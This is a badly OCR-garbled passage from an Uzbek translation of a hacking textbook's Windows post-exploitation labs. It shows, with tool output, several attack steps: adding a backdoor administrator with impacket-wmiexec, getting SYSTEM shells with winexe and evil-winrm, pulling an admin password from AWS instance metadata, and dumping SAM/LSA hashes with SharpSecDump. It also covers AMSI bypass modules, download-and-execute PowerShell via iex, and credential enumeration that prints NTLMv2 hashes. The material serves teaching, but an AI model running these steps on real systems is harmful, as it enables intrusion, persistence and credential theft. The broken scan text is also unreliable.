Or. uni net.localuser yordamida

- 70’ |
Iy ;.'j(],ﬂ. I(}..-
Winter2021!@
/targel. Win : ' )
"5 impacket-wmiexec 'GHH 1 acker /add ight 2020 SecureAuth
packel-w : .5 evilhacker . Copyright 2
‘net !m-afqrmrpAdmiru.s'rn;f:;fg;‘! 162220.7100210f Cop
2 3 1! ¥ .
Impacket v0.9.23.dev1+2
Corporation :
[*] SMBv3.0 dialect use:} ‘
The command c'nmp.’efeff (.s;
S impacket-wmiexec . Copyriht
inistralors 210f - Cop.
net localgroup Aa’numsfisg 01116 220710021 f
Impacket v0.9.23.dev1+2021€
Cﬂ!'pw'an'on r |
' > computer/domain
¥ e Hsed' ; restricted access 10 the comp
Alias name Administrato! ;r e complete and 1
Comment Administrators

*"‘“""SS'M“mee,-mz 11@10.0.0.20")
HH/ta rgel. 2020 SecureAut, h

Members _________--f---'""""-“-"“-n
Administrator
evithacker
GHH\Domain Admins ®
KORLI
GHH\target essfullv. ov TADBI RG A
The command completed Succ DE ISFA P ETUU%I'? OA Rid 17
T
INS 2l C
N ———




-Endi eyilhgcker foyda'ianuvchi ma’'murlar guruhiga go-shildi. harakat-
]ar'lsh]ag‘ar_ug? 15!10nch hosil qilish lozim., Orqaga qaytiladi va foydalanuvchi
paydo bo‘lishiga ishonch hosil qilish uchun administratorlar guruh{ uchun net.

localgroup’dan foydalaniladi. Va ni : imi, ni
o y - Va nihoyat, eng muhimi. nima borligi tekshirib

L—8 winexe -U ‘evi
Xe - ithacker%Abc 123! —-system —uni
) : 230" —gy --uninstall // : e
Microsoft Windows [Version 10.0.143 93] MR e
fc) 2!? 16 Microsoft Corporation. All rights reserved
C:\Windows \system32>vwhoami
whoami

nt authority\system

Tizi o )
o ki;;gféilmiaclfdpor m_uva'fffiquath yaratildi, bu keyinroq qaytib kelish va
un?ma’murlar ?”'“['Tf:)erad|; Tz fO}_/da]anuvchisiga imtiyozlami oshirish uchun

suruhiga qo'shildi. Winexe buyrugini bajarishga harakat qilgan-
rib (.)!fsh.zarur. bu kelajakda kerak bo‘lga‘ﬁda.
gartirishidan qat’j nazar. kiris o

; . - h h i & 1uu
fugatgandan so‘ng gobigdan chiqish uch S i

unutmaslik lozim. un exit yozishni

n | ! ulanishlar orqali SOAP*
HTTPS ni, shuningdek Basic Auth, xesh c\]/a Keré?:l:ogfm s

sivani qo*llab-quvvatlaydi. Wmj ga asoslangan autentifikat-
jari i:s ' ga asoslangan int N autentifikat-
bajarish, dasturlarn; ishga tushirish va PowefShe!l t?irlie}fslar yordamida skriptlarni

qatorda, unj : nishl e .o .
% tnt mavjud deb topganda foydalanish mumkin bo‘lzzlyl?::;;;yat; ]t?llan .blr
uchli vosita.

eVil'WinI'm gel.n - .
-n1 o'rn .
f‘oydalanishga i atdi, bu

o‘shi i
q Evlﬁca?i?;&sw alarga ega rlar uchun mg ljallangan
B yordamida
o ek masofaviy x
9ami buyrug'ini bajarighan boshla)r/]ad?StFlean oy o matish uchun -

2021!"-i 10.0.0.20

LS evil-winrm -u target -p "Winter
Evil-WinRM shell v2.3

Info: Establishing connection tore
*Evil-WinRM* PS C:\Users\targer!
L{{J’H’F.’cu'gg,r

mote endpoint
Daocuments> whoami

. —p va IP manzil uchun -
Foydalanuvchi ma’lumotlari ucti' u-dpaml chlufzﬂ Fizimida qayerda ekan-
i ni koo . s : i 1dan so‘ng. fay 3
i ni ko*rsatganini ko*rish mumkin. Ulangat ! :
e e n foydalanib, qobi
ligini kuzatib boradigan taklifnoma olindi. Ushbul mEIISlﬁh?:ﬁli'rid;n-to'u'ri C;Shc,g
bu}’I‘llqlurini bajarish mumkin. shuningdek powershe g B e

- 5 i syxati olinadi:
tushiriladi. Mahalliy ioydalanu\fchllar ro‘yxat

P ] r. 2
*Evil-WinRM* PS C:\Users\targer= Get-LocalUse

Name Enabled Description

.....................

sinistering the computer/domain

a0 i qecount for adn
Built-in ac ed by the system.

Administrator True
4 user account manag

DefaultAccount False
evilhacker True
Guest False Built-in accot

/1 I”
or tcc 55 !( th com ure )
_,” ‘ 2

o PowerShell chiqishini va standart administrator.
;:lckcr hisobini ko*rish mumkin. USh?\L-l kgn-fligu-
= Tt el el o lgan
fatsiyada tizimda mavjud bo’lgan yoki v Orqah\;’r::l?lg:tillll:g sva1 Invoke-Expres-
PowerShell skriptlari bilan cheklanadi. In[;";l;:;i]adioan e b atioh
. : vio t orqa ‘ i : ;
Sion kabj buyruglar tizimga Interme Bl b b, hodiga
‘ “ - kodni oli : sh
e shiatlisl pltin, 88U TEC jg' iaish uchun kali taklifiga
narsanilzlijlll?lg]ilcstiilri]s]]zull{erak. Evil-WinRM qobig idan chiq

9aytish uchun exit yoziladi-

Get-Local User buyrug™ini
Shuningdek. ilgari yaratgan evil

iya ishi 16.7: .
da kodni bajarish '
kon beradi, shuning uchun

kerak. Evil-WinRM kod-
ga: u bajaradigan ikkilik fayllar va mahalliy
jga ega: |

Ni olib kelishning ikki xil usulgd *=% kriptlar. Yordamchi dasturni ikkita
"avishda ishga t%lshirish mumkin bo |gan Shdzn " hlanadi: ikkilik katalog va

90°shimcha variant bilan qay'
Skript katalogi.

Laborator

. . ordami .
Evil-WinRM ¥ b kelishga im

Ko‘proq vositalar kodni . .+ o chunib olish
Ui tizimga qanday kiritish kerakligini tus

ishga tushiris

2021!" -i 10. 0.0.20 -¢ Binaries

-p 'Wintet
7 rsploit/Recon

_resources’powe

LS evil-winrm -u target
=S ‘usr:share windows
Evil-WinRA{ shell v2.3

Info: Establishing connection

to remote endpoint




E parametri ikkilik fayllar olinadigan joyni belgilaydi. Ushbu katalog bir
qator C# ikkiliklarini oz ichiga oladi, ular Util’s Machine-da to*plangan va ke-
yin tarqatish paytida g Kali qutiga ko*chirilgan. - S bayrog*i skript katalogining
joylashishini bildiradi. Evil-WinRM ichidagi ushbu katalogdan istalgan skript-
larni yuklab olish mumkin. Maxsus katalog yaratish va u yerda bir nechta turli
xil skriptlarni joylashtirish mumkin, ammo bu misol uchun fagat Kali*da mavjud
bo‘lgan powersploit razvedka modullaridan foydalaniladi.

Skriptlar avtomatik ravishda yuklanmaydi, shuning uchun qobiqqa ega bo'I-
gach, menu yozish orqali qaysi skriptlar yuklanganligi bilib olinadi:

*Evil-WinRM* PS C:\Users\target\Documents> menu
<trimmed for brevity>

[+] Bypass-4MSI

[+] Dll-Loader

[+] Donut-Loader

[+] Invoke-Binary

Standart vositaga avtomatik ravishda kiritil
kin. Dll-Loader, Don’t-Loader va Invoke-
ning turli usullari. Bypass —4 MS] MSI (W
chetlab o‘tadi. MSI Windows himoyachilar
ko*proq ma’lumot olish imkonini beradi, bu esa ish vaqtida zararli dasturlarni.
shu jumladan potensial zararli PowerShell kodini aniqlash imkonini beradi. Ba'zi

holatlarda Windows Defender allagachon o*chirilgan, shuning uchun natija yangi-
lanish darajasiga mos keladj.

Skriptni ishga tushirish uch
qurilmalar ro‘yxatini ko*rsatish
qilishi mumkin, Bu yerda Power

gan to'rtta buyruqni ko*rish mum-
Binary — bu ikkilik fayllarni bajarish-
indows Antimalware Scan Interface)ni
iga powershell va boshqa joylar hagida

un uning nomi yoziladi va keyin yangilangan
ucfhun yana ishga tushirish menyusiga murojaat
View.ps1 skripti ishga tushiriladi:

*Evil-WinRM* ps C:\Users\target\
*Evil-WinRM* pg C:\Users\target!
<trimmed for brevity>

[+ Export-PowerViewCSV

[+] field

[+] Find-ComputerField

[+] Find-ForeignGroup

[+] Find-ForeignUser

[+] Find~GPOComputerAdmin

[*] Find-GPOLocation

{+] F ind—ImerestjngFilc

Documents> PowerView.ps]
Documents> meny

Ba'zi buyruglar foydalanuvchidan sessiyada keshlangan chiptalar }’.Okl xes}u—
larga ega bo-lishini talab giladi. Biroq. buyruglarni mashinada r.nah'c}[hy daraJ‘aj
da bajarish mumkin. Ushbu tizim uchun AWS dan foydalanuvchi ma’lumotlarini
olishga harakat qilinadi:

WinRM* PS C:\> Invoke-RestMethod -uri http://169.254.169.254/latest/user-data | fl
powershell : "

My . . " #e AT, y . LT = - _}.'-

Sadmin = [adsi]("WinNT://‘administi ator, use _—

Sadmin. psbase.invoke("SetPassword", "GrayHatHackIng!")

Natijalardan ko‘rinib turibdiki, ushbu tizimni o‘rnalg‘zz k'lSh;.oqLc‘IzI;i"l'Egg?;
kirganda parolni o*zgartirishni soziagan. BL}I'Iday holdecl{ | mlnhi nyomi letiipiog
uchun parol “Greyhathacking!™. Endi admmlstrator_foy a anuvi P o
zimga Kirishi mumkin. hatto magsadli tb},dal?nuvcl-n_parolm (?dea ¢ 1r‘sz31d I.O'O'I'i
ningdek. ushbu ma’lumotlarni ikkilik fa}-’”a“d‘:m bf” yc?rdamf ° t(t = rtl'lal‘l- ln:’O-
lizi;ndan olishea harakat qilish mumkin. Ularni Evil-WinRM ga o‘rnatilgan

ke-Binary buyrug'i bilan chaqirish mumkin.

"

*Evil-WinRM* PS C:\> Invoke-Binary Binaries/SharpSec Dump.exe "-target=localhost
CVH=WINK! - Sy '

[*] RemoteRegistry service started on localhost
[*] Parsing SAM hive on localhost
[*] Parsing SECURITY hive on local, host
[*] Surdans fully cleaned up on localhost -“
------------—;-RL’.\'HerﬁT”” !0“{;‘."7]031"'_'-------
[*] SAM hashes o1 < 140 decaad3b435b5 1404ee: 19d56dfa8872c603984c44ff96a-
Administrator: 500:aad3b435b51404ee aad3

89a6e o , fe0d16ae931b73c¢39d7e0c089¢0

i 1404ee:3 1d6efe %

Guest:501:aad3b435b5 JJGJel"“’fB-f}irjngcheaadﬁ b435b51404ee:31d6cfe0d]6ae931b7 3c-
DefaultAccount:503:aad3b435b3

594 7e0c089¢0 aad3b435 b5 1404ee: dddec0a4c 1b022e3fd8503826fbfb 712

evilhacker: 1008:aad3b435b31404¢¢

( (2[4 (¢} ] " B h)
[ * 1 db.’.’.’ﬂ”l/h‘.ﬂ.’f Rame. has
[ ] b 1 'h(’d dﬂf”ﬂf‘” fog(?ﬂ' I-’l:ﬁ}f matt "(,'Ig{.’f#ﬂjﬁ‘lj; ﬂ‘ssfedg,?; Sjﬂféb 9{363” )”65 7

GHH.LOCAL/target:SDCC28102
[*] LSA Secrets
[*] SMACHINE.ACC )
ghh.local\ws208:aad3b43>
66dc8533.4094
[*] DPAPI SYSTEM ah2012bce
dpapi_machinekey: 9 Qggffgi : 75‘}”_0, 7005
dpapi userkey:38a328 . —
¥ ’ ; a226503160c467c-
[*] NLSKM 50c23833dc6565 Jceb29363bc5fc9598b25dbIfic/
NLSKAL: 2e74ed5562¢b0c?
44?3{)30{!7 ,96(!198_5;1’4].?01536065261’930

01869b673170930a14999)> tated—
e Script execution comp

b5!404€eaad3b435b5!41")499.‘3c346f300¢:e 7¢982682¢-

53b8e9fa3669d93598b24 f
8d8e88089221de290c

e

[
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Ushbu vosita xeshlarni Xotiradan tiklay
gumentni — xostni ko‘rsatish kerak. Agar bj
bilan ajratilar edi, shunda dastur chagqirilad
Administrator foydalanuvchis; uchun mahal
dagi magsadli Foydalanuvchining keshlang

I nechta dalillar bo*lsa. ularni vergul
igan har bir dalj] bilinadi. Natijada.
liy tizim xeshlari, shuningdek tizim-
an hisob ma’lumotlari olinadi. Endi

bo*lganda foydalanish mumkin bo*l-
gan xeshlar, shuningdek AWS foydalanuvch; ma’lumotlari bilan o*rnatilgan Ad-
ministrator paroli va tizimdagi foydalanuvchilarning keshlangan xeshlari ;na\iilld-

ma’lumotlarinj to*plash im-
2a olish ma’lumotlari buzildi.

L : ' — _a'llumollari yordamida buyruglarni ishga tushi-
rishning turlj usyljar; ko‘rib chiqildi, j Inexe-dan foydal';nisll bu

masofaviy interaktjy qobigni ber “dan tizim ma’lumotlarini

. adi. Shuningdek, Wmij
so‘rash va buyruglarni bajarish y

chun foydalanilg;.

i g-] aurent.blogspot.cq -

i bazasj github.comflgand

veh X/Responde
gtthub.com/Hackplayersfevi] S

Foydalanij
__LogonSessi
Iy/aa394| 89(

gan adabiyot)g,

on class,” Aygyst [, 2017, https://msdn.

V=Vs.85).aspy

di va ulanish kerak bolgan bitta ar-

17-BOB. ZAMONAVIY WINDOWS MUHITIDA
POST-EKSPLOITLAR

i i 0°z ichi adi:
Ushbu bob quyidagi mavzularni o°z ichiga ol
* Foydalanuvchi razvedkasi
* Tizim razvedkasi
* Domen razvedkasi N
* Lokal imtiyozlarni oshtr;sh. e
* Active Directory imtiyozlarini oshiri
* Active Directory barqarorligi

. _hujumning muhim bosqichi his-ol-)lanﬂdi- F.is;lellé; g;lﬁ
Posl-eksplm.llafl? 1 iirishj d; asosiy maqsad faqgat Kirish h’lfq'l'ql; aiab 5
cksploitlar m'(!ah uzlm‘_l;! Iki imtiyozlarni oshirish va tarmoqqa kl,rISI][n 1 Sifq Act?ve
%ar msmi.mr::Sl.][iTna;pi:llarni aniglash uchun foydalanuvchilar. xostlar va
ISh mumkin bo*lgany

i redka o‘tkazishidir.
Direclory obyektlari bo*yicha razy edka o't

] it jarayoni L .
POSFE:;T::::WJ iecia usullari ko'rib Cth[lld.l..Cl'lLJ}l
[arga. l\ms-luh kerakligi hagida ma’lumot keltm]adf.
et IE ‘ingi barcha bosqichlarni qamrab ola'dl.
ElShdal;lae(i]-;splcuitlash. imtiyozlardan foydalanish
mc :

ine ko*pchiligi korxonalarda qo*llanila-
iradi. Mavjud ma']un‘lotlarmlltg l\:; FCI:;l;%]diﬂan muhitlarda qanday
:l’a boshqa.lar l"mo:;wiy 'lcmoiogi)-'alafdan io)t* a .amatis:hﬂihk o‘rsatadi. Microsoft-
'8an ayrim zamon: " hlarni qayta o . i inistrator
iy s - tirish va xes ‘mi (LAPS) kabi vositalar adminis
qilib huquqlarni kengay li Yechimi (L . _ : ]
i : inistrator Paroll : riyat mubhitlar foydalanuv
Ning Mahalliy A.dmmls:ll‘:;ﬁga yordam berad:bva aks;il 1ya
Parollarini tasodifiy tas asng larini bermaydi. . :
hi i lida administrator huquq dan keyingi ba’zi asosiy elementlarn
e T holda, eksploitlashda ‘Active Directory (AD)razved-
f s 1 holdd, : ctiv
Buni h1sobg'a}0]:g“::lshunish muhim: Lokal va
Janday boshqarishni

. i oshirish hamda lokal komp-
iasida imtiyozlarni oshiris T
Kasi, lokal tizimda va domen dara) :<hishdir. Bu magsadda zaif xizmatlar,
. is .

qarorlikka er ikkilik kodli modullaridan
Yuter va AD o‘zida baquIO]mL:{chU“ powerShell va C# ikkili
lar vq sozlamalarni aniglash
foydalaniladi.

Oldingi boblarda tizim
lizimlarga kirilgandan so'1 :
P()Sl-ek;ploil dastlabki t'i'](Spl()ltl. ’
Bunga qo*shimcha qidiruv. qo°s

ilish (Xost Recon) - -
q:i]:da( birinchi qadam vaziyat haqida
hi ekanligingizni, ushbu f‘oy_'dalja-
larini aniglash juda muhimdir.

Xostni razvedka )
. £ i so‘ng,
Tizimga dastlabki MrlshdaZi foydalanuve
Ma’lumot olishdir. Tizimda 42y Kanligini va huquq
Nuychi qanday imtiyozlarga €5 =

I~
(1



Bu tekshiruy foydalanuvchi[aming nimaga kirish huquqi borligini h
yordam berishi mumkin.

Ko*pgina xakerlar qiladigan xatolardan biri bu lo*g'ridan
nistratoriga hujum qilishdir. Ushby yuqgori imtiyozli Active Directory guruhi juda
yaxshi, lekin u ham tez-tez digqat bilan nazorat qilinadi, Ko*pincha birinchi kirish
huquqgiga ega bo*lgan foydalanuychi boshqa tizimlar va boshqa ma’lumotlarga
hujum gilish yoki qo*shimcha harakatlanish imkoniyatlarini tagdim etish uchun
yetarli imtiyozlarga ega, lekin avval chi profilini yaratmasdan.

Xost va foydalanyy
bu narsalarni o‘tkazib yuborish mumkin.

am aniqlashga

-to*g ri domen admi-

Foydalanuvchi razvedkasj
Tizimga kirilganidan s0°ng, birinchj gadam odatda kimligingizni aniqlashdir.
Buning bir necha yo'li bor, lekin eng oddiyi whoami buyrug*ini ishlatishdir. Ush-
bu buyrug ma’lumotlarni ko*rish uchun juda ko*p turlj xij| variantlarog ega.
Eslatma. I?.I-iaboratoriya ishi 17-bob sozlamalari bjjan AWS b.-u]ulidaﬂ foy-
dalanadi. Ushby laboratoriyaga kirish uchun git Fepozitorini klon]ash: https://git-
hub_.comfGrayHatHacking/GHHv6f, cloudsetup katalogidagi. S0‘ngra laboratori-
Yani sozlash uchun ch|7 papkasidagi ko‘rsatmalarga amal qiling. Shundan so*ng-

;—;Zl;ﬂ]ar uchun IP manzijjay inventar papkasidag; ansible katalopjda joylashgan
o‘ladi. STest =

™Mi aniglagh ychyy whoami
: - o ters . n mashinaga GHH\target foy-
da u]an!ladl. TI?Emga-ktr[lganidan S0°ng, buyry satri gchilﬂdi
whoamnbuyrug‘:yozlladi Va Entey P Lt

lugmag; bosiladi.

(cmd.exe). Keyin

C:\Users ltarger=>vwhogam;
ghh\targer

GHH domenida ma
bu Mashinaga Kirgan b
holatlar bo‘ladi. By hol
bayrog‘inj qo*shganda,
domen SID v, foydalan

qsadli foydalanuvch' e
0°lsa-da, Jana ] Slfatldat

da endj domen, Lt{‘luqlarga
foydalanuvr:hinin 1al'a“ll‘v’chi nomi aniq. Xaker Juser
uvchi qismin; bemdi N ham olishj mumkin. bu xakerga

iZimgg kiriladi. Garchi 'ush’
©8a ekanligini bilmaydiga®

C:\Users \targer> whoami /yge,

USER INF ORMATION

e

ghh\targe S.1.5.5) 5,

32628988 2-

. o¥i Bl b chidan. bu
Fovdalanuvchi SID xakerea bir nechta ma’lumotlarni beradel l:m'mS i
+ 'dalg ‘ = = . . - . gan -
Kerberos “oltin chipta™ hujumlari kabi hujumlarga bardoli;ﬂl B?anaa\f holda. SID
ni Domén ismi oxirgi chiziqchagacha butun SID qatoridir. idaliitiuvioli identi-
d[. i S ]q:, 21-3262898812-2511208411-1049563518 va foy .aan; ¢ drelan
oni S-1-5-21-3262 Lrz ilar imtivozlari <lan-
I'l(]:ml:'::iI I111. Identifikatori 1000 dan past foydalanuvchilar [m;:;}lgrz hisoblanadi
(,a: 1000 da,-] yuqori foydalanuvchilar esa oddiy fo}:alﬁ:;?; e A foc
—_ - L - . i 1 .
5 ; ’ : ‘shimcha imtiyozlarga ega bo TR
! ‘dalanuvchilar go*shime e : ruhlariga kir-
1L-' S]Lbl; g dz:l. domendagi o*rnatilgan imtiyozli foydalanuvchilar gu £
oydalanuvchi >ndag S
maydi, - . : "da yagona bo°lgan
' )g;uminudek xaker foydalanuvchining Active }? lre(]:\lg?ishi mumkin. Bu xa-
EOCK, 1 : am k w e 4
IR isti hed Name (DN) ni ha ! 5 i
: < olgan Distinguis . - chi tashkilotda qan
Li?jsfll]:?[tit;rnt:al'ziali DN domenini. shuningdek. foydalanuy
ga 1 ¢

day joylashishini beradi:

C:\Users\targer>whoami /fqdn *=local
CN=target, CN=Users, DC=ghh.DC=loc

= i gisqacha
.2 i DC=ghh. DC=local (yoki qisqa
Bu yerda xaker foydalanuvchining domeni D({ ::\]fchi dores Tehl et Uess
hi IU}IL)I kanligini ko'radi. Shuningdek. foydalan
ghh.local) ekanlig :

konteynerida ekanligini ko‘rad

: ¢ /IFO LIST
C:\Userstarget=>whoami ‘groups (FO L
GROUP INFORMATION
Group Name: Evervone
OTipe: Well-known group |
SID: §-1-1-0 P Enabled by default, Enabled group
Attributes: Mandatory group. & e Hloers
(;‘J.(a‘}q::;'(‘,.,"{_;_- B{f’fI,TLNﬁRP”M”L’ D{,.‘;kf{.‘!?

OTipe: Alias )

SID; 8-]-5-32-555 o i

Attributes: Mandatory group. "

Group Name: BUILTIN\Remo.
Tipe: Alias

SID: §-1-5-32-580 sl

Attributes: Mandatory group. E

<Snipped for brevity>

Group Name: NT AUTHOR
lype: Well-known group o
: ; group

SID: §.7-5-11 caabled by dgfm{.f{. [na
Attributes: Afandatory grovp: Dm s Organization

'G;-(,:,; :’;;r:e.‘ NT AUTHORITY This
Tvpe: Well-known group

SID: §-1-5-15 @

Attributes: Aandatory grovp:

Wbled by default, Enabled group
1 ) :
Management Users

d by default, Enabled group

JTYA uthenticated Users

pled by default, Enabled group
a J

ln




<snipped for brevity>

Group Name: GHH\MA -owe-admingroup

Tipe: Group

SID: 5-1-5-21-3262898812-25 11208411-10495635]8-3 763
Attributes: Mandatory group, Enabled by default, Enabled group
Group Name: GHH\RA-sto-distlist

OTipe: Group

SID: §- 1-5-21-3262898812-25 11208411- 1049563518-4037
Attributes: Mandatory group, Enabled by default, Enabled group

Ushbu guruhlarni ko‘rib chigishda lokal va domen
- Biroq. bir nechta turlj xi| guruhlar mavjud. WeJ]-k
hitda hujjatlashtirilgan SIDJar bilan t ig
bir xil SIDga ¢ga EVERYONE guruhj ini
ushbu guruh turiga kiradj.

Ikkinchi guruh turj — Alias @. Aljas
larga mos keladj va ularni berish

sofaviy ish stolj, masofaviy boshgaruy foydalanuy

Guruhning uchinchj turi — Group . Odatdg bu lokal guryh yoki Active Direc-
tory guruhi bolib, ylar Xavfsizlik yoki targatish

: : guruhi bo‘lishj mumkin. Domen
guruhlari guruh nomi va SID bilan birga qisqa domen nomi (GHH) bilan prefiks-
langanligi ko*rib chiqiladi.

Keyingi qadam, foydalanuvchi tizimda qanday imtiyozlargy ega ekanligini

ozla.r fgydalanuvchining tizim bilan qanday aloqgada bo-li-
larni disk raskadrovka qilish, administrator vazifalarni ba-

jarish va boshqa vazifalarni /priy bayrog* yordamida aniqlash mumkin:

C:\Users ltarget=vwhoam; /priv
PRIVILEGES INF, ORMATION

it PR

Privilege Name

hhhhh Deseription State
Sec;rangeNorjﬁ’Privjjege ;___zizl:‘_:::t:::-_—.::‘—-—:t::-._—-:._—. e
. ify! YPass traverse checkin J
Selncrease WorkmgSerPr'vaege Incregse 4 Process workﬁ:g set g f’ai';"‘;;
. isable

. a Ir papkanj maxsus “T;
shirmasdan fayl tizimi bo‘ylab harakatlap;

vom etishdan o]dip foydalanuvchi katal

- - 0
Fekgharadl. Ushby f‘oydalanuvchi juda chel%lg
Imtiyozlam; oshirish uchyp ko‘plab texnik

Omalarini tek-
Umkin; buning O°rniga, tizim da-
a 0‘gish huquqiga €ga yoki yo‘qligini
angan vakolatlargy €8a, shuning uchun
alarni bajarigh qiyin bo‘lishi mumkin.

T in
1.“;‘!' ;;\;Ifiti'.”h”.I'Jl:_'-.:i'r;"?‘ll'i.""w;” f“h’hlh‘rii’l‘-.( i

| - lar ha zilari
o vxari mavjud, Ulardan <
: : gisial imtivozlarning katta ro’yxar mavjc i
e e b chigiladi, Biror narsa nima e e e
r;\-l.'], .';fft'g‘l,l'.' "}."'I,-"['l ."."\lg.".'ln'-'n.l_; ’1”.-’1“”.';' r’(.f} i L 1 ! !J h”-lfLﬂr;_H”f\‘{'}I”‘glf h(’a"!l’_‘.{t”? i1 ] I
- IRGER I ' . i hteps:
F e co rish mumkin: hitps.
oxini quvidagi havolada ke ; _
; wini quyvidag : curityepoli
ML Sy e S WG nid 1 4 = i rate BT OeFIL
h”w e HS N Dadows securil) threat ]
; _ :
dogy RUuCrosofl. com ch-u

] G il
("I'-\t'fa'."'H;_'\ user-rights-as sl

Laboratoriya ish_i 17.2: larini topish

ida foydalanuvchi 1_na’lun_10¥ ari - e

Seatbelt _\.'9rdﬂ_'lljd;la,{l.vc]1i|1i|1g imu}'ozlar: nima ;e ::i t:pish - 204

d e li?iin'] k;::'f)]:'sr‘j[:llf?lfjcl1i haqida yana qa;; (;aé}%ml?a:liltlggg:cha bo‘lgan har

an so'ne. tizimd: 3 é N o g 0o :

fir el Imu:[?]?[]:;i royxatga olish km.)bi Vat:iocsyl:]di. buning uchun
1?[;is!11r1;11l;nk_ill1a 'IIR I:«:)r Ei‘l ;:,flda qil.insa. bu juda ko*p vaq

Shnitalab qiladi. Age

: i rordam beradi.
toptshga yo
Screenshot vositasi qo‘shimcha m

i tizi C ]L{l]] ]]Old - =
- 1 SNt .] 'Q o / Idﬁ[n l?EI

o rverni iladi gandan
‘rnatiladi. Ulangan

i eb-serverni 0

adigan ve
i - bajariladi:

30'ng, quyidagi amallar bajat

(kali kali)-{~] o Binaris
I &y k/PowerSharpBinarie= o
. LIK ;"':”::’;" }“ k‘fi:::;!’m-k-!’u'.rw'Shur,UBH"” ies]
(kali kali)-[~/ e 8988 AR
S python3 -m hitp. sﬂ”; ¥ ’H‘f‘q‘big 8 (hitp://0.0.0.0:8888/)
yioas o D, 0.0 port ¢
Serving HTTP on 0.0.

inadi ; katalogida joylashgan
hell yuklab olinadi va uy b
el tiziren I)Owers1Shc‘-:ll::ode.psl moduli yoq

Sharppick repozitoridan Invoke-

C:\Users\target=>po vershell
Windows PowerShell -
Copyright (C) 2016 -’t:’fﬂ" o8
PS C:\Users\target> iex (M

. oserved.
ation. All rights reserie®,
of Cm};;?:?g EJ:O:SSSthn'oke-SambL lt.ps
i ,';,r!p.‘ L

o i ‘rnatilgani va
itasi tizimga nima o"rnati '
Bu Invoke-Sable mOdyii beradi. Sable.vosﬁsolishga yordam beradi. Keyin-
lin ishga tushirish ".nl-(onnida ko*proq ma I(;“Tanuvchi ma’lumotlarini p fOﬁ'Illa;!1
! danday 50213“1‘:"3“1@1[ l.];ril?adi va undan myni uchun -q bayrog'i ham qo*shiladi.
Chalik, Sable ishga tusht as

ot etm
ni ChOP
SO‘raladi. Banner ma’lumotlart

¥ . 7 =NSC -q

" ">,
PS C:\Users\target™ Invoke>¢T 77 _
s C;Imf”c‘nrestTCL o
=== —_ CloudCredentials




<snipped=>

LastAccess LastWrite Size Path

16-06-21 21-08-01 5278 C: \Users\Defauir \Desktop|EC2 Fe
16-06-21 21-08-01 5548 C- \Users\Defq ull\Desktop\EC2
Guide.website

16-10-18 16-10-18 0B C:\Users |Defaulr \Documengs My Music)
<snipped>

====== ExplorerMRUs =====~—

Explorer GHH \target 2021-08-02 C+|

Explorer GHH ltarget 20271-08-01 i IProgmm.{)amwma:rml
Windows Update

Explorer GHH \target 2021-08-0; ¢- \ProgramDatq lAmaz
Windows Update\aws, C2. Windows Update.log

Explorer GHH ltarget 2021-08.01 -\ Usersltarger\ Des

===== E.rpioreerrCommand  S=====
<smnipped=>

————— SecPackageCreds ===~ —
Version : NetNT, LMyv2
Hash :

larget::GHH - f;’.-?233445566
15987b09:010; 0000000000002, d

65065989(!?(}].?4625896a4a-.fc65200()()0000080(Jj()f’)t'}jm)f)!')()ﬂ()(?(}ﬁ
00000dca9p 1

alfl 445539.962-3‘864654.?]&5& 78183525 70fd6518¢3

/8210eb ] 644d5 1 Mang 10000000000 000
00000()00()(}000!}00000000090000000000000000000000

edback. websire
Microsoft Windows

EC2-Window SUWS. EC2.
on\EC2-Windowys WS . EC,

ktop\Windoys Update.log

:-735'.-0599umyssh.’ajcsf3193 lea-

0000000000000002

filining turlj sohalarinj ko‘rib ¢ch

anzillarini, Foydal
larni aniqlashga yordam beradi

NTLMv2 hisob ma’lumot

foydalanuych; kontekstj v
0z ma’lumot berad;.

iqadi va yaginda
anuvchining uy kalalogidagi papka-
. 'agar parol hagjda ma’lumotga ega bo|inmasa.
]arm.l oﬂ-ayn rejimda buzishj Mumkin, Ushpy elementlar
a uning Imtiyozlari, a’zolj

8i va kirish huquqi hagida bi-

Tizim razvedkasij
Xostlarda ko*pincha tarmoqdagj

tizimlaming Umumiy xayfyisli ini
' . ; zlik holatini
smqla:shga yordam beradlgan ma’lumotlar Mavjud. Bundap, tashqari, o*rnatilgan
asturly ta’minot pakit_lan kuchayish v latera] harakat]apjg}, uch:m potensial
TUMKIN. Antivirgg gagp - EDR i, Fi i

nt ; Mahsulot] ’

oshgalar kabi ishlatilad el e

igan holat element]ap; b ‘e
lab skanerlash uchun nimg qilish kerakliog ba..: Il butun tarmoq bo*y
PowerShell bilan by’ S 149ida tushunchy ey

turishga yordam beradi

, ; .
421 asosiy Vaziyatni bj;
> 80°ngra tizim hagida ko

wa i hi 17.3:
Laboratoriya ishi i
ida ti vedkasi
" -ordamida tizim raz _ o nntlimaan
Pow ershel! }_0"l i narsa — AMSI yogilgan yoki }(3q1lrnl el
kerak bo*lgan birinchi o vosttalardan Soydalans

Tekshirilishi dan xotirada qo*shimch AR
i g an xotir : kiritiladi:
ioidi a e'tibor qaratmasdan : uyrugqlar kiri
o B Tt
mumkin. Powe )

AR oviders) |
ds = aci HKLM: Software\Microsoft AMSI\Proy
' C:\Users|targer> Sclsids = g e ]! |
Pﬁ (ry :{.(;} \-\'}:nw -split "\\") | SU&;I .‘;?E M f1§t}fnww‘.C lasses\CLSID!S_|
=> Zof _,-I & ‘{ %/ Is i ..I:‘--- - Dll

PS C:\Users| “}”jz: .l L‘\CS:(“!Lh\"fEIS(bf."l1':‘:.*1’ ;(F {g-:-"‘- s\CLSI

five: HKEY LOCAL M. : 27C5 74

{{:1‘9} {LJF- 58 F0-4109-99FE-BIDI27CSTAFE]

P/ -

Name Property

sting Applications
Hosts (default) : Scanned Hosting : it
Implemented Cate gories .
InprocServer32 (def m.r!.t) _,.f Loy
Defender|Platform'4. 18.2107.
;"7?‘."L’udf.!.'.q.{.-'l-!c.:dc! : Both

P m,mmDa.'aH;t-fin'msqmli"fndmrs
"C:\Prog ;
0\MpQOav.dll

; . retkazib beruvchilar-
rrug'i ishlatilgan, bu ye i
dltem b;g:;f;;niladi U AMSI provayderlari sifatida
uchun toyda

ari (CLSID ini 0"z ichi ladi. Class
orlari royxatini 0"z ichiga o s Llas
e 7z’;FIE l):si]an tugaydigan CLSID ko‘riladi.
Il i

Birinchi qatorda GC[‘C‘"!
ine VS i
0 VX o‘tgan sin " syl a -, . rovav-
CLSID regisrida CLSIDni q‘d‘riléidllfmoyalanga‘?".—Ef"' eraali bz AMSHdan b1
bu Windows Defender Yo aan CLSID-lami gigistvonp iz M b Bl
